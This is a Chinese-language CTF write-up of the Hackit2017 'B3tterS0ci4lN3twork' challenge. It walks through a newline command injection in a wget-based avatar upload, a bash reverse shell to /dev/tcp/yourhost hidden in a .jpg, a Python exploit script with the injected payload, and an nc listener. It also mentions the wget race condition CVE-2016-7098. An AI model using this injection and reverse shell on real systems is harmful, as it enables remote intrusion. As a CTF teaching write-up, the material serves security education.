Chybeta

Hackit2017-B3tterS0ci4lN3twork-writeup

Hackit2017-B3tterS0ci4lN3twork-writeup
命令注入
wget-cve利用

Task

1
2
3
4
Description: You know what to do!
Attachment: (none)
Webpage: http://tasks.ctf.com.ua:13374
Hint: Try to find some known cves) Hide

有一个注册Register功能,和登陆Auth功能。

在注册完成并登录后,会跳到profile.php页面:

右上角有Send Message和Get Message功能。我们试着写一条信息发送给自己:

然后到Get Message功能处,发现是存在XSS漏洞的。

但经过一番测试,这里没办法进一步的利用。回到profile.php。这里有两个功能,一个是修改密码,另一个是根据你填入的图片地址获得Your avatar。

这里我们填上一张放在自己服务器上的图片

提交后用burp看一下:

查看服务器log,发现是wget/1.15:

所以服务器端应该是用wget 我们填入图片的地址,然后保存到avatars/yourhost/xx.jpg。而且只允许jpg/png/gif。若是php文件,在被wget完成后检测后会被删除。

Solution1

从上面的图片来看,假设后端的wget语句(约莫)如下:

1
wget -r -P avatars -A '*.jpg,*.png,*.gif' $url

而$url是我们可以控制的,那可以尝试注入比如换行符,比如令$URL=http://xx.com/a.jpg\nwhoami,让后端执行时变成:

1
2
wget -r -P avatars -A '*.jpg,*.png,*.gif' http://xx.com/a.jpg
whoami

从而导致命令注入。经过fuzz,换行符\n没有过滤,制表符\t没有过滤可用来代替空格。

我们在自己的服务器上放一个jpg文件,之所以用jpg做后缀是因为在wget完后,wget命令会检测指定后缀名,若不是,则会删掉。

其内容是:

1
/bin/bash -i > /dev/tcp/yourhost/port 0<&1 2>&1

服务器端将使用wget将图片下载到 avatars/yourhost/xx.jpg 的位置,然后我们再利用bash去加载avatars/yourhost/xx.jpg来获得一个shell。最后的exp如下:

1
2
3
4
5
6
7
8
9
10
11
import requests
cookie = {"PHPSESSID":"uchf0tsmo9fnpvgjllo67kr9k1"}
payload = "http://yourhost/chybeta.jpg\nbash\tavatars/yourhost/chybeta.jpg"
url = "http://tasks.ctf.com.ua:13374/profile.php"
data = {"password":"","new_password":"","avatar_url":payload}
requests.post(url,cookies=cookie,data=data)

然后在自己的服务器上监听端口:

1
nc -vv -l -p 24853

运行python脚本,得到shell。

flag:

1
h4ck1t{h4ck1t{wg3t_cv3_1n_CTF}

Solution2

wget的版本是1.15,这个在pwnhub-another-php中出现过,利用CVE-2016-7098

1
Race condition in wget 1.17 and earlier, when used in recursive or mirroring mode to download a single file, might allow remote servers to bypass intended access list restrictions by keeping an HTTP connection open.

参考文章:Wget-Exploit-ACL-bypass-RaceCond-CVE-2016-7098

也就是说利用竞争条件,在wget的链接还没结束前,它对后缀名的检测就不会触发,这样赶在这段时间内服务器wget后的webshell其实是存在的。

但我没成功。

微信扫码加入知识星球【漏洞百出】
chybeta WeChat Pay

点击图片放大,扫码知识星球【漏洞百出】

本文标题:Hackit2017-B3tterS0ci4lN3twork-writeup

文章作者:chybeta

发布时间:2017年08月28日 - 07:08

最后更新:2017年08月28日 - 18:08

原始链接:http://chybeta.github.io/2017/08/28/Hackit2017-B3tterS0ci4lN3twork-writeup/

许可协议: 署名-非商业性使用-禁止演绎 4.0 国际 转载请保留原文链接及作者。